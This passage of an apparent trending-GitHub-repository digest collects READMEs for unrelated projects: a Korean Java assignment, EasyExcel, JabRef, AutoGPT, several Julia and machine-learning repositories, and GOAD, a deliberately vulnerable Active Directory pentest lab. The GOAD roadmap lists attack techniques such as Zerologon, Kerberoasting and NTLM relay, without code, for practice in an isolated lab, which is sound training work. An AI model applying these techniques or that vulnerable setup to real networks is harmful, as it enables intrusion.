이 같은 과정을 반복해 컴퓨터가 선택한 3개의 숫자를 모두 맞히면 게임이 종료된다.
게임을 종료한 후 게임을 다시 시작하거나 완전히 종료할 수 있다.
사용자가 잘못된 값을 입력할 경우 IllegalArgumentException을 발생시킨 후 애플리케이션은 종료되어야 한다.

입출력 요구 사항

입력

서로 다른 3자리의 수
게임이 끝난 경우 재시작/종료를 구분하는 1과 2 중 하나의 수

출력

입력한 수에 대한 결과를 볼, 스트라이크 개수로 표시

1볼 1스트라이크

하나도 없는 경우

낫싱

3개의 숫자를 모두 맞힐 경우

3스트라이크
3개의 숫자를 모두 맞히셨습니다! 게임 종료

게임 시작 문구 출력

숫자 야구 게임을 시작합니다.

실행 결과 예시

숫자 야구 게임을 시작합니다.
숫자를 입력해주세요 : 123
1볼 1스트라이크
숫자를 입력해주세요 : 145
1볼
숫자를 입력해주세요 : 671
2볼
숫자를 입력해주세요 : 216
1스트라이크
숫자를 입력해주세요 : 713
3스트라이크
3개의 숫자를 모두 맞히셨습니다! 게임 종료
게임을 새로 시작하려면 1, 종료하려면 2를 입력하세요.
1
숫자를 입력해주세요 : 123
1볼
...

🎯 프로그래밍 요구 사항

JDK 17 버전에서 실행 가능해야 한다. JDK 17에서 정상적으로 동작하지 않을 경우 0점 처리한다.
프로그램 실행의 시작점은 Application의 main()이다.
build.gradle 파일을 변경할 수 없고, 외부 라이브러리를 사용하지 않는다.
Java 코드 컨벤션 가이드를 준수하며 프로그래밍한다.
프로그램 종료 시 System.exit()를 호출하지 않는다.
프로그램 구현이 완료되면 ApplicationTest의 모든 테스트가 성공해야 한다. 테스트가 실패할 경우 0점 처리한다.
프로그래밍 요구 사항에서 달리 명시하지 않는 한 파일, 패키지 이름을 수정하거나 이동하지 않는다.

라이브러리

camp.nextstep.edu.missionutils에서 제공하는 Randoms 및 Console API를 사용하여 구현해야 한다.
- Random 값 추출은 camp.nextstep.edu.missionutils.Randoms의 pickNumberInRange()를 활용한다.
- 사용자가 입력하는 값은 camp.nextstep.edu.missionutils.Console의 readLine()을 활용한다.

사용 예시

List<Integer> computer = new ArrayList<>();
while (computer.size() < 3) {
    int randomNumber = Randoms.pickNumberInRange(1, 9);
    if (!computer.contains(randomNumber)) {
        computer.add(randomNumber);
    }
}

✏️ 과제 진행 요구 사항

미션은 java-baseball-6 저장소를 Fork & Clone해 시작한다.
기능을 구현하기 전 docs/README.md에 구현할 기능 목록을 정리해 추가한다.
과제 진행 및 제출 방법은 프리코스 과제 제출 문서를 참고한다.

alibaba/easyexcel

2023-10-29T01:54:44Z

快速、简洁、解决大文件内存溢出的java处理Excel工具

🔥作者最新开源项目Chat2DB

GitHub地址 https://github.com/chat2db/Chat2DB
官网地址 https://chat2db.ai

EasyExcel

JAVA解析Excel工具

Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存，poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题，但POI还是有一些缺陷，比如07版Excel解压缩以及解压后存储都是在内存中完成的，内存消耗依然很大。
easyexcel重写了poi对07版Excel的解析，一个3M的excel用POI sax解析依然需要100M左右内存，改用easyexcel可以降低到几M，并且再大的excel也不会出现内存溢出；03版依赖POI的sax模式，在上层做了模型转换的封装，让使用者更加简单方便

网站

官方网站：https://easyexcel.opensource.alibaba.com/
github地址：https://github.com/alibaba/easyexcel
gitee地址：https://gitee.com/easyexcel/easyexcel

16M内存23秒读取75M(46W行25列)的Excel（3.2.1+版本）

当然还有极速模式能更快，但是内存占用会在100M多一点

帮忙点个⭐Star

开源不易，如果觉得EasyExcel对您的工作还是有帮助的话，请帮忙在的右上角点个⭐Star，您的支持是使EasyExcel变得更好最大的动力。

如何获取帮助

优先建议自己通过文档来解决问题

其次建议通过`issues`来解决解决问题

可以尝试在以下2个链接搜索问题，如果不存在可以尝试创建issue。

去 github 搜索issues
去 gitee 搜索issues

通过 issues 解决问题，可以给后面遇到相同问题的同学查看，所以比较推荐这种方式。
不管github、gitee都会定期有人回答您的问题，比较紧急可以在提完issue以后在钉钉群艾特群主并发送issue地址帮忙解决。
QQ 公司不让用，有时候也会去看，但是核心肯定还是在钉钉。

关注作者：程序员小獭

可以加群交流

维护者

姬朋飞（玉霄)、庄家钜

快速开始

读Excel

demo代码地址：https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java
详细文档地址：https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read

    /**
    * 最简单的读
    * <p>1. 创建excel对应的实体对象 参照{@link DemoData}
    * <p>2. 由于默认一行行的读取excel，所以需要创建excel一行一行的回调监听器，参照{@link DemoDataListener}
    * <p>3. 直接读即可
    */
    @Test
    public void simpleRead() {
        String fileName = TestFileUtil.getPath() + "demo" + File.separator + "demo.xlsx";
        // 这里 需要指定读用哪个class去读，然后读取第一个sheet 文件流会自动关闭
        EasyExcel.read(fileName, DemoData.class, new DemoDataListener()).sheet().doRead();
    }

写Excel

demo代码地址：https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java
详细文档地址：https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write

    /**
     * 最简单的写
     * <p>1. 创建excel对应的实体对象 参照{@link com.alibaba.easyexcel.test.demo.write.DemoData}
     * <p>2. 直接写即可
     */
    @Test
    public void simpleWrite() {
        String fileName=TestFileUtil.getPath()+"write"+System.currentTimeMillis()+".xlsx";
        // 这里 需要指定写用哪个class去读，然后写到第一个sheet，名字为模板 然后文件流会自动关闭
        // 如果这里想使用03 则 传入excelType参数即可
        EasyExcel.write(fileName,DemoData.class).sheet("模板").doWrite(data());
    }

web上传、下载

demo代码地址：https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java

    /**
    * 文件下载（失败了会返回一个有部分数据的Excel）
    * <p>
    * 1. 创建excel对应的实体对象 参照{@link DownloadData}
    * <p>
    * 2. 设置返回的 参数
    * <p>
    * 3. 直接写，这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大
    */
    @GetMapping("download")
    public void download(HttpServletResponse response) throws IOException {
        // 这里注意 有同学反应使用swagger 会导致各种问题，请直接用浏览器或者用postman
        response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
        response.setCharacterEncoding("utf-8");
        // 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系
        String fileName=URLEncoder.encode("测试","UTF-8").replaceAll("\\+","%20");
        response.setHeader("Content-disposition","attachment;filename*=utf-8''"+fileName+".xlsx");
        EasyExcel.write(response.getOutputStream(),DownloadData.class).sheet("模板").doWrite(data());
    }
    
    /**
     * 文件上传
     * <p>1. 创建excel对应的实体对象 参照{@link UploadData}
     * <p>2. 由于默认一行行的读取excel，所以需要创建excel一行一行的回调监听器，参照{@link UploadDataListener}
     * <p>3. 直接读即可
     */
    @PostMapping("upload")
    @ResponseBody
    public String upload(MultipartFile file)throws IOException{
        EasyExcel.read(file.getInputStream(),UploadData.class,new UploadDataListener(uploadDAO)).sheet().doRead();
        return"success";
    }

JabRef/jabref

2023-10-29T01:54:44Z

Graphical Java application for managing BibTeX and biblatex (.bib) databases

JabRef Bibliography Management

JabRef is an open-source, cross-platform citation and reference management tool.

Stay on top of your literature: JabRef helps you to collect and organize sources, find the paper you need and discover the latest research.

Features

JabRef is available free of charge and is actively developed. It supports you in every step of your research work.

Collect

Search across many online scientific catalogues like CiteSeer, CrossRef, Google Scholar, IEEEXplore, INSPIRE-HEP, Medline PubMed, MathSciNet, Springer, arXiv, and zbMATH
Import options for over 15 reference formats
Easily retrieve and link full-text articles
Fetch complete bibliographic information based on ISBN, DOI, PubMed-ID and arXiv-ID
Extract metadata from PDFs
Import new references directly from the browser with one click using the official browser extension for Firefox, Chrome, Edge and Vivaldi

Organize

Group your research into hierarchical collections and organize research items based on keywords/tags, search terms or your manual assignments
Advanced search and filter features
Complete and fix bibliographic data by comparing with curated online catalogs such as Google Scholar, Springer or MathSciNet
Customizable citation key generator
Customize and add new metadata fields or reference types
Find and merge duplicates
Attach related documents: 20 different kinds of documents supported out of the box, completely customizable and extendable
Automatically rename and move associated documents according to customizable rules
Keep track of what you read: ranking, priority, printed, quality-assured

Cite

Native BibTeX and Biblatex support
Cite-as-you-write functionality for external applications such as Emacs, Kile, LyX, Texmaker, TeXstudio, Vim and WinEdt.
Format references using one of thousands of built-in citation styles or create your own style
Support for Word and LibreOffice/OpenOffice for inserting and formatting citations

Many built-in export options or create your export format
Library is saved as a simple text file, and thus it is easy to share with others via Dropbox and is version-control friendly
Work in a team: sync the contents of your library via a SQL database

Installation

Fresh development builds are available at builds.jabref.org. The latest stable release is available at FossHub.

Please see our Installation Guide.

Bug Reports, Suggestions, Other Feedback

We are thankful for any bug reports or other feedback. If you have ideas for new features you want to be included in JabRef, tell us in the feature section of our forum! If you need support in using JabRef, please read the documentation first, the frequently asked questions (FAQ) and also have a look at our community forum. You can use our GitHub issue tracker to file bug reports.

An explanation of donation possibilities and usage of donations is available at our donations page.

Contributing

Want to be part of a free and open-source project that tens of thousands of scientists use every day? Check out the ways you can contribute, below:

Not a programmer? Help translating JabRef at Crowdin or learn how to help at contribute.jabref.org
Quick overview on the architecture needed? Look at our high-level documentation
For details on how to contribute, have a look at our guidelines for contributing.
You are welcome to contribute new features. To get your code included into JabRef, just fork the JabRef repository, make your changes, and create a pull request.
To work on existing JabRef issues, check out our issue tracker. New to open source contributing? Look for issues with the "good first issue" label to get started.

We view pull requests as a collaborative process. Submit a pull request early to get feedback from the team on work in progress. We will discuss improvements with you and agree to merge them once the developers approve. Please also remember to discuss bigger changes early with the core developers to avoid a waste of time and work. Some fundamental design decisions can be found within our list of Architectural Decision Records.

If you want a step-by-step walk-through on how to set-up your workspace, please check this guideline.

To compile JabRef from source, you need a Java Development Kit 20 and JAVA_HOME pointing to this JDK. To run it, just execute gradlew run. When you want to develop, it is necessary to generate additional sources using gradlew generateSource and then generate the Eclipse gradlew eclipse. For IntelliJ IDEA, just import the project via a Gradle Import by pointing at the build.gradle.

gradlew test executes all tests. We use GitHub Actions for executing the tests after each commit. For developing, it is sufficient to locally only run the associated test for the classes you changed. Github will report any other failure.

Sponsoring

JabRef development is powered by YourKit Java Profiler

Orange-Cyberdefense/GOAD

2023-10-29T01:34:35Z

game of active directory

Description

GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques.

Warning This lab is extremely vulnerable, do not reuse recipe to build your environment and do not deploy this environment on internet without isolation (this is a recommendation, use it as your own risk).
This repository was build for pentest practice.

Licenses

This lab use free windows VM only (180 days). After that delay enter a license on each server or rebuild all the lab (may be it's time for an update ;))

Available labs

GOAD : 5 vms, 2 forests, 3 domains (full goad lab)

GOAD-Light : 3 vms, 1 forest, 2 domains (smaller goad lab for those with a smaller pc)

NHA : A challenge with 5 vms and 2 domains. no schema provided, you will have to find out how break it.

Requirements

Used space
- The lab takes about 77GB (but you have to get the space for the vms vagrant images windows server 2016 (22GB) / windows server 2019 (14GB) / ubuntu 18.04 (502M))
- The total space needed for the lab is ~115 GB (and more if you take snapshots)
Linux operating system
- The lab intend to be installed from a Linux host and was tested only on this.
- Some people have successfully installed the lab from a windows OS, to do that they create the VMs with vagrant and have done the ansible provisioning part from a linux machine.
- In this case the linux machine used to do the provisioning must be setup with one adapter on NAT and one adapter on the same virtual private network as the lab.

tldr; quick install

You are on linux, you already got virtualbox, vagrant and docker installed on your host and you know what you are doing, just run :

./goad.sh -t check -l GOAD -p virtualbox -m docker
./goad.sh -t install -l GOAD -p virtualbox  -m docker

Now you can grab a coffee ☕ it will take time :)

Installation

Installation depend of the provider you use, please follow the appropriate guide :
Installation is in three parts :
1. Templating : this will create the template to use (needed only for proxmox)
2. Providing : this will instantiate the virtual machines depending on your provider
3. Provisioning : it is always made with ansible, it will install all the stuff to create the lab

Check before install

For linux users check dependencies installation before install :

./goad -t check -l <LAB> -p <PROVIDER> -m <ANSIBLE_RUN_METHOD>

LAB: lab must be one of the following (folder in ad/)
- GOAD
- GOAD-Light
PROVIDER : provider must be one of the following:
- virtualbox
- vmware
- azure
- proxmox
ANSIBLE_RUN_METHOD : ansible method to use :
- local : to use local ansible install
- docker : to use docker ansible install
Please install all the needed tools before run the install process
There is no automatic installer for the dependencies tools (virtualbox, vagrant, python, ansible,... ) you will have to install them by yourself depending on your package manager an linux system.

Install

Launch all the install (vagrant or terraform) vms creation followed by ansible provisioning :

./goad -t install -l <LAB> -p <PROVIDER> -m <ANSIBLE_RUN_METHOD>

The goad install will run all the ansible playbook one by one with a failover to restart the ansible playbook if something goes wrong (sometimes vms or playbook hit timeout so this will restart the playbook automatically)

Provisioning

The provisioning is always done with ansible, more detail on the ansible provisioning here : Ansible provisioning

WriteUp

All the writeups of the Game Of Active Directory lab are available on this blog : mayfly blog

Troubleshoot

see troubleshoot

Road Map

Password reuse between computer (PTH)
Spray User = Password
Password in description
SMB share anonymous
SMB not signed
Responder
Zerologon
Windows defender
ASREPRoast
Kerberoasting
AD Acl abuse
Unconstraint delegation
Ntlm relay
Constrained delegation
Install MSSQL
MSSQL trusted link
MSSQL impersonate
Install IIS
Upload asp app
Multiples forest
Anonymous RPC user listing
Child parent domain
Generate certificate and enable ldaps
ADCS - ESC 1/2/3/8
Certifry
Samaccountname/nopac
Petitpotam unauthent
Printerbug
Drop the mic
Shadow credentials
Mitm6
Add LAPS
GPO abuse
Add Webdav
Add RDP bot
Add full proxmox integration
Add Gmsa (receipe created)
Add azure support
Refactoring lab and providers
Add PPL
Add Credential Guard
Add Applocker
Zone transfert
Wsus
Sccm
Exchange

Lab organization

The lab configuration is located on the ad/ folder
Each Ad folder correspond to a lab and contains the following files :

ad/
  labname/            # The lab name must be the same as the variable : domain_name from the data/inventory
    data/
      config.json     # The json file containing all the variables and configuration of the lab
      inventory       # The global lab inventory (provider independent) (this should no contains variables)
    files/            # This folder contains files you want to copy on your vms
    scripts/          # This folder contains ps1 scripts you want to play on your vm (Must be added in the "scripts" entries of your vms)
    providers/        # Your lab available provider
      vmware/
        inventory     # specific vmware inventory
        Vagrantfile   # specific vmware vagrantfile
      virtualbox/
        inventory     # specific virtualbox inventory
        Vagrantfile   # specific virtualbox vagrantfile
      proxmox/
        terraform/    # specific proxmox terraform recipe
        inventory     # specific proxmox inventory
      azure/
        terraform/    # specific azure terraform recipe
        inventory     # specific azure inventory

Special Thanks to

Julien Arrault (Azure recipes)
Thomas Rollain (tests & some vulns writing)
Quentin Galliou (tests)

Socials

Note

This repo is based on the work of jckhmr and kkolk

TheRealJoelmatic/RemoveAdblockThing

2023-10-29T01:54:59Z

Removes The "Ad blocker are not allowed on Youtube"

Remove the Adblock Popup from YOUTUBE

Introduction

This repository contains a userscript designed to remove the annoying "Ad blocker are not allowed on Youtube" popup. Follow the instructions below to get started. We also have an undetected way of skipping ads if you get blocked from the video player.

Installation

Install Tampermonkey: If you haven't already, you need to install the Tampermonkey browser extension. You can find it for various browsers:
Open Tampermonkey Dashboard: Click on the Tampermonkey extension icon in your browser and select "Dashboard."
Create a New Script: In the Tampermonkey Dashboard, click on the "Utilities" tab and select "Create a new script."
Install the Script: Click Here and Press Install.
Enable the Script: Enable the script by clicking the switch next to the script name in the Tampermonkey Dashboard.
Disable your adblocker: whitelist YouTube on any Chrome extensions that block ads or any third-party things that disable ads. Don't worry our script removes ads on youtube.

How to use the undetected AdBlock

Note this also allows you to watch videos when your video player banned from using adblock.

Install the script: Install the script using the instructions above
Disable your adblocker: whitelist YouTube on any Chrome extensions that block ads or any third-party things that disable ads. Don't worry our script removes ads

Usage

Once you've installed and enabled the userscript, it should start working automatically Enjoy.

Contribution

If you have any suggestions, bug reports, or want to contribute to this userscript, feel free to create issues or pull requests in this GitHub repository.

Contributors

License

This project is licensed under the MIT License.

Matt-Fontes/SendScriptWhatsApp

2023-10-29T01:54:59Z

Script para enviar o Roteiro do filme Shrek, linha por linha, no WhatsApp

SendScriptWhatsApp

Código para enviar o Script inteiro de Shrek ou Bee Movie para seus amigos ou grupos do WhatsApp

Utilização

Abra shrekSendScript.js Ou Abra beeMovieSendScript.js

Copie todo o conteúdo (clique em raw -> ctrl+a -> ctrl+c)

No WhatsApp Web abra o console do Browser

Cole o código no console e aperte Enter

Pronto

Significant-Gravitas/AutoGPT

2023-10-29T01:54:59Z

An experimental open-source attempt to make GPT-4 fully autonomous.

🌟 AutoGPT: the heart of the open-source agent ecosystem

AutoGPT is your go-to toolkit for supercharging agents. With its modular and extensible framework, you're empowered to focus on:

🏗️ Building - Lay the foundation for something amazing.
🧪 Testing - Fine-tune your agent to perfection.
👀 Viewing - See your progress come to life.

Be part of the revolution! AutoGPT stays at the forefront of AI innovation, featuring the codebase for the reigning champion in the Open-Source ecosystem.

We're hosting a Hackathon!
Click the banner above for details and registration!

🥇 Current Best Agent: AutoGPT

Among our currently benchmarked agents, AutoGPT scores the best. This will change after the hackathon - the top-performing generalist agent will earn the esteemed position as the primary AutoGPT 🎊

📈 To enter, submit your benchmark run through the UI.

🌟 Quickstart

To build your own agent and to be eligible for the hackathon, follow the quickstart guide here. This will guide you through the process of creating your own agent and using the benchmark and user interface.
To activate the best agent follow the guide here.

Want to build your own groundbreaking agent using AutoGPT? 🛠️ There are three major components to focus on:

🏗️ the Forge

Forge your future! The forge is your innovation lab. All the boilerplate code is already handled, letting you channel all your creativity into building a revolutionary agent. It's more than a starting point, it's a launchpad for your ideas. All tutorials are located here.

📘 Learn More

🎯 the Benchmark

Test to impress! The benchmark offers a stringent testing environment. Our framework allows for autonomous, objective performance evaluations, ensuring your agents are primed for real-world action.

📘 Learn More

🎮 the UI

Take Control! The frontend is your personal command center. It gives you a user-friendly interface to control and monitor your agents, making it easier to bring your ideas to life.

📘 Learn More

🔄 Agent Protocol

🔌 Standardize to Maximize! To maintain a uniform standard and ensure seamless compatibility, AutoGPT employs the agent protocol from the AI Engineer Foundation. This standardizes the communication pathways from your agent to the frontend and benchmark.

🤔 Questions? Problems? Suggestions?

Get help - Discord 💬

To report a bug or request a feature, create a GitHub Issue. Please ensure someone else hasn’t created an issue for the same topic.

jetty/.eclipsefdn

2023-10-29T01:55:27Z

Repository to host configurations related to the Eclipse Foundation.

triscale-innov/DataViewer.jl

2023-10-29T01:35:08Z

Julia package to model thermodynamics of ideal gas mixtures.

trixi-framework/libtrixi

2023-10-29T01:35:08Z

Interface library for using Trixi.jl from C/C++/Fortran

JuliaGeometry/Quaternions.jl

2023-10-30T01:30:31Z

A Julia implementation of quaternions

JuliaLang/StyledStrings.jl

2023-10-29T01:55:26Z

JuliaSymbolics/Symbolics.jl

2023-10-29T01:55:26Z

Symbolic programming for the next generation of numerical software

fall-fest-latino/escuela-de-computacion-cuantica-2023

2023-10-29T01:35:11Z

12 Lessons, Get Started Building with Generative AI

Generative AI for Beginners - A Course

Learn the fundamentals of building Generative AI applications with our 12-lesson comprehensive course by Microsoft Cloud Advocates. Each lesson covers a key aspect of Generative AI principles and application development. This course will take you from learning Generative AI concepts like LLMs and prompt engineering to applying those ideas by building real Generative AI applications.

Throughout this course, we will be building our own Generative AI startup so you can get an understanding of what it takes to launch your ideas.

Build a strong foundation of Generative AI knowledge and start applying it today!

📂 Each lesson includes:

optional supplemental video
written lesson
for project-based lessons, step-by-step guides on how to build the project
a challenge
links

🌱 Getting Started

To get started, fork this entire repo to your own GitHub account to be able to change any code and complete the challenges. You can also star (🌟) this repo to find it easier later!

This course is divided into 6 concept lessons and 6 coding lessons. The coding lessons have both a Juypter Notebook and README included if you only want to view the results of the code and text. To help you get up and running faster, we recommend using this course with Github Codespaces (no extra installs needed). You can open this by using the link below:

To make sure you have access to the right tools for the coding projects, go to the Course Introduction Page

If you enjoyed this course, we would really apperciate it if you starred (🌟) this repo!

🗣️ Meet Other Learners, Get Support

We believe one of the best ways to learn is learning with others! Join our official AI Discord server to meet and network with other learners taking this course and get support. Who knows? You might find your next co-founder there!

🗃️ Lessons

	Lesson Link	Concepts Taught	Learning Goal
00	Course Introduction - How to Take This Course	Tech setup and course structure	Setting you up for success while learning in this course
01	Introduction to Generative AI and LLMs	Generative AI and how we landed on the current technology landscape	Understanding what Generative AI is and how Large Language Models (LLMs) work.
02	Exploring and comparing different LLMs	Testing, iterating, and comparing different Large Language Models	Select the right model for your use case
03	Using Generative AI Responsibly	Understanding the limitations of foundation models and the risks behind AI	Learn how to build Generative AI Applications responsibly
04	Understanding Prompt Engineering Fundamentals	Hands-on application of Prompt Engineering Best Practices	Understand prompt structure & usage
05	Creating Advanced Prompts	Extend your knowledge of prompt engineering by applying different techniques to your prompts	Apply prompt engineering techniques that improve the outcome of your prompts.
06	Building Text Generation Applications	Build a text generation app using Azure OpenAI	Understand how to efficiently use tokens and temperature to vary the model's output
07	Building Chat Applications	Techniques for efficiently building and integrating chat applications.	Identify key metrics and considerations to effectively monitor and maintain the quality of AI-powered chat applications
08	Building Search Apps Vector Databases	Semantic vs Keyword search. What are text embeddings and how do they apply to search	Create an application that uses Embeddings to search for data.
09	Building Image Generation Applications	Image generation and why it's useful in building applications	Build an image generation application
10	Building Low Code AI Applications	Introduction to Generative AI in Power Platform	Build a Student Assignment Tracker App for our education startup with Low Code
11	Integrating External Applications with Function Calling	What is function calling and its use cases for applications	Setup a function call to retrieve data from an external API
12	Designing UX for AI Applications	Designing AI Applications for Trust and Transparency	Apply UX design principles when developing Generative AI Applications
xx	Continue Your Learning	Links to continue your learning from each lesson!	Mastering your Generative AI skills

🚀 Are you a startup or got an idea you want to launch?

Visit Microsoft's Founders Hub where you can apply to receive free OpenAI credits and up to $150k towards Azure's leading AI services as well as 1:1 expert support with Microsoft's AI experts.

🎒 Other Courses

Our team produces other courses! Check out:

Luchkata/Algorithmic_Trading_Machine_Learning

2023-10-30T01:30:34Z

Algorithmic_Trading_Machine_Learning

Project 1 - Unsupervised Learning Trading Strategy
Project 2 - Twitter Sentiment Trading Strategy
Project 3 - Intraday GARCH Trading Strategy

If you are interested in getting news + data alerts + bot signals from similar or more advances strategies:

Join my Premium Discord Server - https://whop.com/quantfactory/
Join my Premium Stocks Newsletter - https://quantfactory.substack.com/
Receive 1 Premium Strategy Research per Month - https://www.patreon.com/Lachone

gerdm/prml

2023-10-30T01:30:34Z

Repository of notes, code and notebooks in Python for the book Pattern Recognition and Machine Learning by Christopher Bishop

Pattern Recognition and Machine Learning (PRML)

This project contains Jupyter notebooks of many the algorithms presented in Christopher Bishop's Pattern Recognition and Machine Learning book, as well as replicas for many of the graphs presented in the book.

Discussions (new)

If you have any questions and/or requests, check out the discussions page!

Useful Links

Content

.
├── README.md
├── chapter01
│   ├── einsum.ipynb
│   ├── exercises.ipynb
│   └── introduction.ipynb
├── chapter02
│   ├── Exercises.ipynb
│   ├── bayes-binomial.ipynb
│   ├── bayes-normal.ipynb
│   ├── density-estimation.ipynb
│   ├── exponential-family.ipynb
│   ├── gamma-distribution.ipynb
│   ├── mixtures-of-gaussians.ipynb
│   ├── periodic-variables.ipynb
│   ├── robbins-monro.ipynb
│   └── students-t-distribution.ipynb
├── chapter03
│   ├── bayesian-linear-regression.ipynb
│   ├── equivalent-kernel.ipynb
│   ├── evidence-approximation.ipynb
│   ├── linear-models-for-regression.ipynb
│   ├── ml-vs-map.ipynb
│   ├── predictive-distribution.ipynb
│   └── sequential-bayesian-learning.ipynb
├── chapter04
│   ├── exercises.ipynb
│   ├── fisher-linear-discriminant.ipynb
│   ├── least-squares-classification.ipynb
│   ├── logistic-regression.ipynb
│   └── perceptron.ipynb
├── chapter05
│   ├── backpropagation.ipynb
│   ├── bayesian-neural-networks.ipynb
│   ├── ellipses.ipynb
│   ├── imgs
│   │   └── f51.png
│   ├── mixture-density-networks.ipynb
│   ├── soft-weight-sharing.ipynb
│   └── weight-space-symmetry.ipynb
├── chapter06
│   ├── gaussian-processes.ipynb
│   └── kernel-regression.ipynb
├── chapter07
│   ├── relevance-vector-machines.ipynb
│   └── support-vector-machines.ipynb
├── chapter08
│   ├── exercises.ipynb
│   ├── graphical-model-inference.ipynb
│   ├── img.jpeg
│   ├── markov-random-fields.ipynb
│   ├── sum-product.ipynb
│   └── trees.ipynb
├── chapter09
│   ├── gaussian-mixture-models.ipynb
│   ├── k-means.ipynb
│   └── mixture-of-bernoulli.ipynb
├── chapter10
│   ├── exponential-mixture-gaussians.ipynb
│   ├── local-variational-methods.ipynb
│   ├── mixture-gaussians.ipynb
│   ├── variational-logistic-regression.ipynb
│   └── variational-univariate-gaussian.ipynb
├── chapter11
│   ├── adaptive-rejection-sampling.ipynb
│   ├── gibbs-sampling.ipynb
│   ├── hybrid-montecarlo.ipynb
│   ├── markov-chain-motecarlo.ipynb
│   ├── rejection-sampling.ipynb
│   ├── slice-sampling.ipynb
│   └── transformation-random-variables.ipynb
├── chapter12
│   ├── bayesian-pca.ipynb
│   ├── kernel-pca.ipynb
│   ├── ppca.py
│   ├── principal-component-analysis.ipynb
│   └── probabilistic-pca.ipynb
├── chapter13
│   ├── em-hidden-markov-model.ipynb
│   ├── hidden-markov-model.ipynb
│   └── linear-dynamical-system.ipynb
├── chapter14
│   ├── CART.ipynb
│   ├── boosting.ipynb
│   ├── cmm-linear-regression.ipynb
│   ├── cmm-logistic-regression.ipynb
│   └── tree.py
└── misc
    └── tikz
        ├── ch13-hmm.tex
        └── ch8-sum-product.tex

17 directories, 73 files

GeostatsGuy/PythonNumericalDemos

2023-10-29T01:55:30Z

Well-documented Python demonstrations for spatial data analytics, geostatistical and machine learning to support my courses.

PythonNumericalDemos: Educational Data Science Demonstrations Repository (1.0.0)

Professor Michael Pyrcz, The University of Texas at Austin

A collection of Python demos for spatial data analytics, geostatistics and machine learning methods.

Please cite as:

Pyrcz, Michael J. (2021). PythonNumericalDemos: Educational Data Science Demonstrations Repository (1.0.0). Zenodo. https://doi.org/10.5281/zenodo.5564991

I use these demonstrations for:

in-lecture walkthroughs
hands-on experiential learning with specific tasks suggested in the accompanying lecture notes
example workflows to support my students

Other resources that you might be interested in include:

While I have more than 20 years experience coding in FORTRAN, C++ and VBA, I just started with Python a couple of years ago. I love it. I code less and get more done! I recommend Python to any engineers or scientists. Here's some reasons to learn to code:

Transparency – no compiler accepts hand waiving! Coding forces your logic to be uncovered for any other scientist or engineer to review.
Reproducibility – run it, get an answer, hand it over, run it, get the same answer. This is a main principle of the scientific method.
Quantification – programs need numbers. Feed the program and discover new ways to look at the world.
Open-source – leverage a world of brilliance. Check out packages, snippets and be amazed with what great minds have freely shared.
Break Down Barriers – don’t throw it over the fence. Sit at the table with the developers and share more of your subject matter expertise for a better product.
Deployment – share it with others and multiply the impact. Performance metrics or altruism, your good work benefits many others.
Efficiency – minimize the boring parts of the job. Build a suite of scripts for automation of common tasks and spend more time doing science and engineering!
Always Time to Do it Again! – how many times did you only do it once? It probably takes 2-4 times as long to script and automate a workflow. Usually worth it.
Be Like Us – it will change you. Users feel limited, programmers truly harness the power of their applications and hardware.

Alright, that is enough of my ranting. Especially, since I haven't even introduced myself yet!

The Author:

Michael Pyrcz, Associate Professor, University of Texas at Austin

Novel Data Analytics, Geostatistics and Machine Learning Subsurface Solutions

With over 17 years of experience in subsurface consulting, research and development, Michael has returned to academia driven by his passion for teaching and enthusiasm for enhancing engineers' and geoscientists' impact in subsurface resource development.

For more about Michael check out these links:

Twitter | GitHub | Website | GoogleScholar | Book | YouTube | LinkedIn

Want to Work Together?

I hope this content is helpful to those that want to learn more about subsurface modeling, data analytics and machine learning. Students and working professionals are welcome to participate.

Want to invite me to visit your company for training, mentoring, project review, workflow design and / or consulting? I'd be happy to drop by and work with you!
Interested in partnering, supporting my graduate student research or my Subsurface Data Analytics and Machine Learning consortium (co-PIs including Profs. Foster, Torres-Verdin and van Oort)? My research combines data analytics, stochastic modeling and machine learning theory with practice to develop novel methods and workflows to add value. We are solving challenging subsurface problems!
I can be reached at mpyrcz@austin.utexas.edu.

I'm always happy to discuss,

Michael

Michael Pyrcz, Ph.D., P.Eng. Associate Professor The Hildebrand Department of Petroleum and Geosystems Engineering, Bureau of Economic Geology, The Jackson School of Geosciences, The University of Texas at Austin

More Resources Available at: Twitter | GitHub | Website | GoogleScholar | Book | YouTube | LinkedIn

Deci-AI/super-gradients

2023-10-29T01:55:30Z

Easily train or fine-tune SOTA computer vision models with one open source training library. The home of Yolo-NAS.

Build, train, and fine-tune production-ready deep learning SOTA vision models

Version 3 is out! Notebooks have been updated!

Website • Docs • Getting Started • Pretrained Models • Community • License • Deci Platform

Build with SuperGradients

Support various computer vision tasks

Ready to deploy pre-trained SOTA models

YOLO-NAS architecture is out! The new YOLO-NAS delivers state-of-the-art performance with the unparalleled accuracy-speed performance, outperforming other models such as YOLOv5, YOLOv6, YOLOv7 and YOLOv8. Check it out here: YOLO-NAS.

# Load model with pretrained weights
from super_gradients.training import models
from super_gradients.common.object_names import Models

model = models.get(Models.YOLO_NAS_M, pretrained_weights="coco")

All Computer Vision Models - Pretrained Checkpoints can be found in the Model Zoo

Classification

Semantic Segmentation

Object Detection

Easy to train SOTA Models

Easily load and fine-tune production-ready, pre-trained SOTA models that incorporate best practices and validated hyper-parameters for achieving best-in-class accuracy. For more information on how to do it go to Getting Started

Plug and play recipes

python -m super_gradients.train_from_recipe architecture=regnetY800 dataset_interface.data_dir=<YOUR_Imagenet_LOCAL_PATH> ckpt_root_dir=<CHEKPOINT_DIRECTORY>

More example on how and why to use recipes can be found in Recipes

Production readiness

All SuperGradients models’ are production ready in the sense that they are compatible with deployment tools such as TensorRT (Nvidia) and OpenVINO (Intel) and can be easily taken into production. With a few lines of code you can easily integrate the models into your codebase.

